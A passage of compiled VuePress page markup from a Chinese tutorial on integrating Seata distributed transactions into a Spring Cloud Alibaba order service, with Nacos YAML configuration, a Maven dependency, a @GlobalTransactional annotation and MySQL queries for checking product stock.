atrule"}},[s._v("group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" SEATA_GROUP\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("namespace")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" seata_namespace_001\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("application")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" seata"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("server\n\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("config")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("type")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" nacos\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("nacos")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server-addr")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" $"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("spring.cloud.nacos.discovery.server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("addr"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("username")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" nacos\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("password")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" nacos\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" SEATA_GROUP\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("namespace")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" seata_namespace_001\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br"),a("span",{staticClass:"line-number"},[s._v("15")]),a("br"),a("span",{staticClass:"line-number"},[s._v("16")]),a("br"),a("span",{staticClass:"line-number"},[s._v("17")]),a("br"),a("span",{staticClass:"line-number"},[s._v("18")]),a("br"),a("span",{staticClass:"line-number"},[s._v("19")]),a("br"),a("span",{staticClass:"line-number"},[s._v("20")]),a("br"),a("span",{staticClass:"line-number"},[s._v("21")]),a("br"),a("span",{staticClass:"line-number"},[s._v("22")]),a("br"),a("span",{staticClass:"line-number"},[s._v("23")]),a("br"),a("span",{staticClass:"line-number"},[s._v("24")]),a("br"),a("span",{staticClass:"line-number"},[s._v("25")]),a("br"),a("span",{staticClass:"line-number"},[s._v("26")]),a("br"),a("span",{staticClass:"line-number"},[s._v("27")]),a("br"),a("span",{staticClass:"line-number"},[s._v("28")]),a("br"),a("span",{staticClass:"line-number"},[s._v("29")]),a("br"),a("span",{staticClass:"line-number"},[s._v("30")]),a("br"),a("span",{staticClass:"line-number"},[s._v("31")]),a("br"),a("span",{staticClass:"line-number"},[s._v("32")]),a("br"),a("span",{staticClass:"line-number"},[s._v("33")]),a("br"),a("span",{staticClass:"line-number"},[s._v("34")]),a("br"),a("span",{staticClass:"line-number"},[s._v("35")]),a("br"),a("span",{staticClass:"line-number"},[s._v("36")]),a("br"),a("span",{staticClass:"line-number"},[s._v("37")]),a("br"),a("span",{staticClass:"line-number"},[s._v("38")]),a("br"),a("span",{staticClass:"line-number"},[s._v("39")]),a("br"),a("span",{staticClass:"line-number"},[s._v("40")]),a("br"),a("span",{staticClass:"line-number"},[s._v("41")]),a("br"),a("span",{staticClass:"line-number"},[s._v("42")]),a("br"),a("span",{staticClass:"line-number"},[s._v("43")]),a("br"),a("span",{staticClass:"line-number"},[s._v("44")]),a("br"),a("span",{staticClass:"line-number"},[s._v("45")]),a("br")])]),a("p",[s._v("其中,配置的Nacos的namespace与group与"),a("code",[s._v("registry.conf")]),s._v("文件中的一致。")]),s._v(" "),a("h3",{attrs:{id:"订单微服务整合seata"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#订单微服务整合seata"}},[s._v("#")]),s._v(" 订单微服务整合Seata")]),s._v(" "),a("p",[s._v("(1)在订单微服务shop-product的pom.xml文件中引入Seata依赖,如下所示。")]),s._v(" "),a("div",{staticClass:"language-xml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-xml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("dependency")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("groupId")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("com.alibaba.cloud"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("artifactId")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("spring-cloud-starter-alibaba-seata"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br")])]),a("p",[s._v("(2)修改订单微服务shop-order的bootstrap.yml,修改后的文件如下所示。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("spring")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("application")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("name")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("order\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("cloud")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("nacos")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("config")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server-addr")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" 127.0.0.1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8848")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("file-extension")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" yaml\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" order_group\n shared"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("configs"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("data_id")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("all.yaml\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" all_group\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("refresh")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean important"}},[s._v("true")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("discovery")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server-addr")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" 127.0.0.1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8848")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("alibaba")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("seata")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("tx-service-group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" $"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("spring.application.name"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("tx_group\n\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("profiles")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("active")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" dev\n\n"),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("seata")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("application-id")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" $"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("spring.application.name"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("service")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("vgroup-mapping")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server-order-tx_group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" default\n\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("registry")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("nacos")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server-addr")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" $"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("spring.cloud.nacos.discovery.server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("addr"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("username")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" nacos\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("password")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" nacos\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" SEATA_GROUP\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("namespace")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" seata_namespace_001\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("application")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" seata"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("server\n\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("config")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("type")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" nacos\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("nacos")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server-addr")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" $"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("spring.cloud.nacos.discovery.server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("addr"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("username")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" nacos\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("password")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" nacos\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" SEATA_GROUP\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("namespace")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" seata_namespace_001\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br"),a("span",{staticClass:"line-number"},[s._v("15")]),a("br"),a("span",{staticClass:"line-number"},[s._v("16")]),a("br"),a("span",{staticClass:"line-number"},[s._v("17")]),a("br"),a("span",{staticClass:"line-number"},[s._v("18")]),a("br"),a("span",{staticClass:"line-number"},[s._v("19")]),a("br"),a("span",{staticClass:"line-number"},[s._v("20")]),a("br"),a("span",{staticClass:"line-number"},[s._v("21")]),a("br"),a("span",{staticClass:"line-number"},[s._v("22")]),a("br"),a("span",{staticClass:"line-number"},[s._v("23")]),a("br"),a("span",{staticClass:"line-number"},[s._v("24")]),a("br"),a("span",{staticClass:"line-number"},[s._v("25")]),a("br"),a("span",{staticClass:"line-number"},[s._v("26")]),a("br"),a("span",{staticClass:"line-number"},[s._v("27")]),a("br"),a("span",{staticClass:"line-number"},[s._v("28")]),a("br"),a("span",{staticClass:"line-number"},[s._v("29")]),a("br"),a("span",{staticClass:"line-number"},[s._v("30")]),a("br"),a("span",{staticClass:"line-number"},[s._v("31")]),a("br"),a("span",{staticClass:"line-number"},[s._v("32")]),a("br"),a("span",{staticClass:"line-number"},[s._v("33")]),a("br"),a("span",{staticClass:"line-number"},[s._v("34")]),a("br"),a("span",{staticClass:"line-number"},[s._v("35")]),a("br"),a("span",{staticClass:"line-number"},[s._v("36")]),a("br"),a("span",{staticClass:"line-number"},[s._v("37")]),a("br"),a("span",{staticClass:"line-number"},[s._v("38")]),a("br"),a("span",{staticClass:"line-number"},[s._v("39")]),a("br"),a("span",{staticClass:"line-number"},[s._v("40")]),a("br"),a("span",{staticClass:"line-number"},[s._v("41")]),a("br"),a("span",{staticClass:"line-number"},[s._v("42")]),a("br"),a("span",{staticClass:"line-number"},[s._v("43")]),a("br"),a("span",{staticClass:"line-number"},[s._v("44")]),a("br"),a("span",{staticClass:"line-number"},[s._v("45")]),a("br")])]),a("p",[s._v("(3)修改订单微服务的"),a("code",[s._v("io.binghe.shop.order.service.impl.OrderServiceV8Impl")]),s._v("类的saveOrder()方法,在saveOrder()方法上添加Seata的@GlobalTransactional注解,如下所示。")]),s._v(" "),a("div",{staticClass:"language-java line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-java"}},[a("code",[a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Override")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@GlobalTransactional")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("saveOrder")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("OrderParams")]),s._v(" orderParams"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n\t"),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//省略具体方法代码")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br")])]),a("p",[s._v("至此,搭建并整合Seata完毕,就是这么简单。")]),s._v(" "),a("h2",{attrs:{id:"验证seata事务"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#验证seata事务"}},[s._v("#")]),s._v(" 验证Seata事务")]),s._v(" "),a("h3",{attrs:{id:"重置数据库数据"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#重置数据库数据"}},[s._v("#")]),s._v(" 重置数据库数据")]),s._v(" "),a("p",[s._v("这里,首先将商品数据表t_product中id为1001的数据的库存信息重置为100,如下所示。")]),s._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("update")]),s._v(" t_product "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("set")]),s._v(" t_pro_stock "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("100")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("where")]),s._v(" id "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1001")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br")])]),a("h3",{attrs:{id:"查询数据表数据-3"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#查询数据表数据-3"}},[s._v("#")]),s._v(" 查询数据表数据")]),s._v(" "),a("p",[s._v("(1)打开cmd终端,进入MySQL命令行,并进入shop商城数据库,如下所示。")]),s._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[s._v("C:\\Users\\binghe"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v("mysql "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("-")]),s._v("uroot "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("-")]),s._v("p\nEnter password: "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),s._v("\nWelcome "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("to")]),s._v(" the MySQL monitor"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v(" Commands "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("end")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("with")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("or")]),s._v(" \\g"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("\nYour MySQL connection id "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("is")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("15")]),s._v("\nServer version: "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("5.7")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v(".35")]),s._v(" MySQL Community Server "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("GPL"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n\nCopyright "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("c"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("2000")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("2021")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" Oracle "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("and")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("/")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("or")]),s._v(" its affiliates"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("\n\nOracle "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("is")]),s._v(" a registered trademark "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("of")]),s._v(" Oracle Corporation "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("and")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("/")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("or")]),s._v(" its\naffiliates"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v(" Other names may be trademarks "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("of")]),s._v(" their respective\nowners"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("\n\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("Type")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'help;'")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("or")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'\\h'")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("for")]),s._v(" help"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("Type")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'\\c'")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("to")]),s._v(" clear the "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("current")]),s._v(" input statement"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("\n\nmysql"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("use")]),s._v(" shop"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("Database")]),s._v(" changed\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br"),a("span",{staticClass:"line-number"},[s._v("15")]),a("br"),a("span",{staticClass:"line-number"},[s._v("16")]),a("br")])]),a("p",[s._v("(2)查看商品数据表,如下所示。")]),s._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[s._v("mysql"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("select")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("from")]),s._v(" t_product"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("------+------------+-------------+-------------+")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" id "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" t_pro_name "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" t_pro_price "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" t_pro_stock "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("------+------------+-------------+-------------+")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token 